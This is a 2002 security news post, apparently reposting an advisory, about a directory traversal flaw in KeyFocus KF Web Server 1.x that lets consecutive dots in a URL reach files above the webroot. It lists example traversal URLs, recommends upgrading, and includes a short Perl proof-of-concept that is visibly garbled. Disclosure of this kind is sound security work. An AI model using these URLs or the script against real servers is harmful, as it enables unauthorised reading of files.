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Home » Hacking News » KeyFocus KF Web Server File Disclosure Vulnerability

KeyFocus KF Web Server File Disclosure Vulnerability

by Nikola Strahija on November 14th, 2002 KeyFocus Web server is a Win32 HTTP server with web administration, a variety of logging formats, such as NCSA and W3C, CGI, compression, memory caching of static documents, directory indexing, pre-defined MIME settings, internal authentication with support for multiple realms, and a variety of URL checks that make it more secure against hacking attempts such as buffer overruns.

KFWS 1.x contains a flaw that enables attackers to traverse above the
webroot in the directory structure. This is not a traditional directory
traversal attack. KFWS does not properly handle consecutive dot characters
in the file name:

http://kfws/. - Current Directory
http://kfws/.. - 403 Forbidden
http://kfws/... - KFWS install dir (OOPS!)
http://kfws/.... - Program Files
http://kfws/..... -

This vulnerability is limited by the internal hack defenses of the server
-- only files with recognized MIME types can be retreived. This
significantly limits the damage from this vulnerability.

KFWS v2.0.0 (Beta) eliminates this vulnerability, and the next stable
version will eliminate the flaw as well. Administrators who are concerned
about this flaw should upgrade to the beta.

I've included a Perl script to demonstrate this vulnerability:

use URI::Escape;
use IO::Socket;
if (@ARGV < 2) {
print STDOUT "Usage: perl $0 [filename] [host] [port]";
} else {
$f =
$url = uri_escape($ARGV[0]);
$exploit = sprintf("GET /.............../%s HTTP/1.0rnrn");
print $f $exploit;
undef $f;

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